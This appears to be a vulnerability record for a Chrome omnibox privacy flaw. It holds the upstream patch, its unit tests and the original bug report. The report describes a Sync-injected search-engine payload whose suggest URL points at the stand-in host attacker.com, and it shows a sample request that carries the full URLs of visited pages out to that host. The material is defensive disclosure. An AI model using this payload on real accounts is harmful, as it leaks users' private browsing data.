CVE-2026-113176
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fchrome/browser/autocomplete/search_provider_unittest.cc |
modified |
Files Changed
components/omnibox/browser/base_search_provider.ccchrome/browser/autocomplete/search_provider_unittest.cc
Patch
From e17fa6b7f6a49f1d7b38a0ce1f82653cf0ebb221 Mon Sep 17 00:00:00 2001 From: Nihar Majmudar <[email protected]> Date: Fri, 18 Sep 2026 09:01:26 -0700 Subject: [PATCH] Fix sync-injected urls bypassing CanSendSuggestRequestWithPageURL. Validate that the suggestion endpoint is on a Google domain in CanSendSecureSuggestRequest, and require current pages to be on a Google domain to qualify for the Search Results Page (SRP) exemption in CanSendSuggestRequestWithPageURL. This prevents custom or synced search engine configurations from sending visited page URLs to untrusted suggest endpoints or bypassing the URL data collection gate via broad alternate_urls patterns. Change-Id: I6895699ebcd52a91ad3735d4b6e32c5cc0007b4e Bug: 499143720 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8415787 Reviewed-by: Moe Ahmadi <[email protected]> Commit-Queue: Nihar Majmudar <[email protected]> Cr-Commit-Position: refs/heads/main@{#1700826} --- diff --git a/components/omnibox/browser/base_search_provider.cc b/components/omnibox/browser/base_search_provider.cc index 5deca36..d3b991c 100644 --- a/components/omnibox/browser/base_search_provider.cc +++ b/components/omnibox/browser/base_search_provider.cc @@ -19,6 +19,7 @@ #include "base/memory/scoped_refptr.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" +#include "components/google/core/common/google_util.h" #include "components/omnibox/browser/actions/omnibox_action_in_suggest.h" #include "components/omnibox/browser/aim_eligibility_service.h" #include "components/omnibox/browser/autocomplete_provider_client.h" @@ -454,6 +455,13 @@ return false; } + // Make sure the suggest endpoint is also a Google domain URL. + if (!google_util::IsGoogleDomainUrl(suggest_url, + google_util::DISALLOW_SUBDOMAIN, + google_util::ALLOW_NON_STANDARD_PORTS)) { + return false; + } + return true; } @@ -472,8 +480,12 @@ // Forbid sending the current page URL to the suggest endpoint if // URL data collection is off; unless the current page is the provider's // Search Results Page; or for the Lens searchboxes. - if (!client->IsUrlDataCollectionActive() && - !template_url->IsSearchURL(current_page_url, search_terms_data) && + const bool is_srp = + google_util::IsGoogleDomainUrl(current_page_url, + google_util::DISALLOW_SUBDOMAIN, + google_util::ALLOW_NON_STANDARD_PORTS) && + template_url->IsSearchURL(current_page_url, search_terms_data); + if (!client->IsUrlDataCollectionActive() && !is_srp && !omnibox::IsLensSearchbox(page_classification)) { return false; } diff --git a/chrome/browser/autocomplete/search_provider_unittest.cc b/chrome/browser/autocomplete/search_provider_unittest.cc index 0acfccc..d0dc8a5 100644 --- a/chrome/browser/autocomplete/search_provider_unittest.cc +++ b/chrome/browser/autocomplete/search_provider_unittest.cc @@ -3878,6 +3878,39 @@ EXPECT_FALSE(test_lens(&http_google_template_url, client_.get())); EXPECT_FALSE(test_other(&http_google_template_url, client_.get())); EXPECT_FALSE(test_srp(&http_google_template_url, client_.get())); + + // Create a Google search provider with an untrusted suggest endpoint. + TemplateURLData untrusted_suggest_template_url_data; + untrusted_suggest_template_url_data.SetShortName(u"untrusted-suggest"); + untrusted_suggest_template_url_data.SetURL( + "https://www.google.com/search?q={searchTerms}"); + untrusted_suggest_template_url_data.suggestions_url = + "https://www.non-google.com/suggest?q={searchTerms}"; + TemplateURL untrusted_suggest_template_url( + untrusted_suggest_template_url_data); + + // Don't make Suggest requests if the suggest endpoint is not a Google domain. + EXPECT_FALSE(test_lens(&untrusted_suggest_template_url, client_.get())); + EXPECT_FALSE(test_other(&untrusted_suggest_template_url, client_.get())); + EXPECT_FALSE(test_srp(&untrusted_suggest_template_url, client_.get())); + + // Create a Google search provider with a non-Google alternate URL. + TemplateURLData alternate_url_template_url_data; + alternate_url_template_url_data.SetShortName(u"alternate-url-google"); + alternate_url_template_url_data.SetURL( + "https://www.google.com/search?q={searchTerms}"); + alternate_url_template_url_data.suggestions_url = + "https://www.google.com/suggest?q={searchTerms}"; + alternate_url_template_url_data.alternate_urls.push_back( + "https://www.example.com?q={searchTerms}"); + TemplateURL alternate_url_template_url(alternate_url_template_url_data); + + // Disable personalized URL data collection. + client_->set_is_url_data_collection_active(false); + + // Ensure non-Google alternate URLs do not qualify for the SRP exemption + // when URL data collection is disabled. + EXPECT_FALSE(test_other(&alternate_url_template_url, client_.get())); } TEST_F(SearchProviderTest, TestDeleteMatch) {
Regression Test / PoC
diff --git a/chrome/browser/autocomplete/search_provider_unittest.cc b/chrome/browser/autocomplete/search_provider_unittest.cc
index 0acfccc..d0dc8a5 100644
--- a/chrome/browser/autocomplete/search_provider_unittest.cc
+++ b/chrome/browser/autocomplete/search_provider_unittest.cc
@@ -3878,6 +3878,39 @@
EXPECT_FALSE(test_lens(&http_google_template_url, client_.get()));
EXPECT_FALSE(test_other(&http_google_template_url, client_.get()));
EXPECT_FALSE(test_srp(&http_google_template_url, client_.get()));
+
+ // Create a Google search provider with an untrusted suggest endpoint.
+ TemplateURLData untrusted_suggest_template_url_data;
+ untrusted_suggest_template_url_data.SetShortName(u"untrusted-suggest");
+ untrusted_suggest_template_url_data.SetURL(
+ "https://www.google.com/search?q={searchTerms}");
+ untrusted_suggest_template_url_data.suggestions_url =
+ "https://www.non-google.com/suggest?q={searchTerms}";
+ TemplateURL untrusted_suggest_template_url(
+ untrusted_suggest_template_url_data);
+
+ // Don't make Suggest requests if the suggest endpoint is not a Google domain.
+ EXPECT_FALSE(test_lens(&untrusted_suggest_template_url, client_.get()));
+ EXPECT_FALSE(test_other(&untrusted_suggest_template_url, client_.get()));
+ EXPECT_FALSE(test_srp(&untrusted_suggest_template_url, client_.get()));
+
+ // Create a Google search provider with a non-Google alternate URL.
+ TemplateURLData alternate_url_template_url_data;
+ alternate_url_template_url_data.SetShortName(u"alternate-url-google");
+ alternate_url_template_url_data.SetURL(
+ "https://www.google.com/search?q={searchTerms}");
+ alternate_url_template_url_data.suggestions_url =
+ "https://www.google.com/suggest?q={searchTerms}";
+ alternate_url_template_url_data.alternate_urls.push_back(
+ "https://www.example.com?q={searchTerms}");
+ TemplateURL alternate_url_template_url(alternate_url_template_url_data);
+
+ // Disable personalized URL data collection.
+ client_->set_is_url_data_collection_active(false);
+
+ // Ensure non-Google alternate URLs do not qualify for the SRP exemption
+ // when URL data collection is disabled.
+ EXPECT_FALSE(test_other(&alternate_url_template_url, client_.get()));
}
TEST_F(SearchProviderTest, TestDeleteMatch) {
Original Bug Report
URL exfiltration via Sync-injected search engine configuration
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: An attacker with Sync access can inject a malicious search engine configuration that bypasses privacy gates designed to protect visited URLs. By exploiting a logic flaw in how wildcard paths in alternate_urls are matched, the browser can be tricked into sending the full URL of visited pages to an attacker-controlled endpoint, even when URL data collection is disabled.
Affected files:
components/omnibox/browser/base_search_provider.cccomponents/search_engines/template_url.cccomponents/search_engines/template_url_service.cccomponents/omnibox/browser/remote_suggestions_service.cccomponents/omnibox/browser/search_provider.cc
Estimated timestamp from git blame: 2025-11-10
Vulnerability Summary
A potential vulnerability exists in Chrome’s search engine synchronization and suggest request logic. An attacker with access to a user’s Chrome Sync data (without a custom passphrase) can inject a crafted Default Search Engine (DSE) configuration. This configuration bypasses the IsUrlDataCollectionActive privacy gate by exploiting a logic flaw in ExtractSearchTermsFromURL, causing Chrome to misidentify sensitive URLs as search result pages. This leads to the stealthy exfiltration of full visited URLs (including paths and query strings) to an attacker-controlled host via the suggest endpoint.
Potential Attack Steps
Note: These steps are based on static analysis of the codebase and represent a theoretical attack path.
- Inject Malicious Payload: The attacker injects a malicious
SearchEngineSpecificspayload via Chrome Sync to overwrite the user’s DSE (typically Google). The payload is crafted as follows:sync_guid: Set to the known GUID of the target DSE (e.g.,485bf7d3-0215-45af-87dc-538868000001for Google).prepopulate_id:0. This is critical, as it bypasses the protection inTemplateURLService::CreateTemplateURLFromTemplateURLAndSyncDatathat reverts modified prepopulated engines.url:https://www.google.com/search?q={searchTerms}. This ensuressearch::TemplateURLIsGooglereturns true, passing subsequent trust checks.suggestions_url:https://attacker.com/log?q={searchTerms}&{google:currentPageUrl}. The attacker-controlled endpoint for exfiltration.alternate_urls: Wildcards targeting sensitive domains, e.g.,['https://docs.google.com/{searchTerms}'].
- Sync Ingestion: Chrome syncs the data. Because
prepopulate_idis0, the maliciousalternate_urlsare accepted without validation. - Victim Browsing: The victim, who has URL data collection disabled for privacy, navigates to a sensitive page on a targeted domain, e.g.,
https://docs.google.com/document/d/SECRET_ID/edit. - Omnibox Interaction: The victim types in the Omnibox.
SearchProvider::Startattempts to fetch suggestions and evaluates the privacy gate usingCanSendSuggestRequestWithPageURL. - Privacy Gate Bypass:
- Because URL data collection is disabled, the code checks if the current page is a Search Results Page (SRP) using
!template_url->IsSearchURL(current_page_url, search_terms_data). IsSearchURLevaluates the maliciousalternate_url(https://docs.google.com/{searchTerms}).- In
TemplateURLRef::ExtractSearchTermsFromURL, the logic at line 652 ((!PathIsEqual(url) && (search_term_key_location_ != url::Parsed::PATH))) skips the strict path equality check because{searchTerms}is in the path. - The function incorrectly extracts the sensitive path (
/document/d/SECRET_ID/edit) as a “search term” and returns true. The privacy gate is bypassed.
- Because URL data collection is disabled, the code checks if the current page is a Search Results Page (SRP) using
- Exfiltration:
SearchProviderpopulatessearch_term_args.current_page_urlwith the full, sensitive URL.RemoteSuggestionsService::EndpointUrlcallsReplaceSearchTermson the attacker’ssuggestions_url.- The
{google:currentPageUrl}token is replaced with the escaped sensitive URL. - A network request is dispatched to
https://attacker.com/log?q=...&url=https%3A%2F%2Fdocs.google.com%2F..., exfiltrating the data.
Root Causes
- Flawed Path Validation: In
TemplateURLRef::ExtractSearchTermsFromURL, if the search term placeholder is in the path, thePathIsEqualcheck is bypassed. This allows broad wildcard matching against any path on the specified host. - Sync Validation Bypass: Setting
prepopulate_idto0in a Sync payload bypasses the reversion logic (UpdateTemplateURLDataIfPrepopulated), allowing an attacker to inject arbitraryalternate_urlsandsuggestions_urlwhile spoofing a legitimate DSE. - Trust Mismatch:
search::TemplateURLIsGooglevalidates trust based solely on theurlfield, ignoring thesuggestions_url. This allows the suggest endpoint to receive sensitive parameters (like{google:currentPageUrl}) even if it points to a third-party host.
Suggested Fixes
- Enforce Host Matching: Ensure that the
suggestions_urlhost matches theurlhost, or restrict sensitive parameters like{google:currentPageUrl}from being sent to untrusted suggestion endpoints. - Fix Path Validation: Correct the logic in
TemplateURLRef::ExtractSearchTermsFromURLso that path-based search terms cannot broadly match any URL on a given host, preventing the misidentification of arbitrary URLs as Search Result Pages. - Strengthen Sync Validation: Sanitize or drop
alternate_urlsreceived via Sync for non-prepopulated engines (prepopulate_id == 0), or ensure that critical fields cannot be mismatched to spoof known engines.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.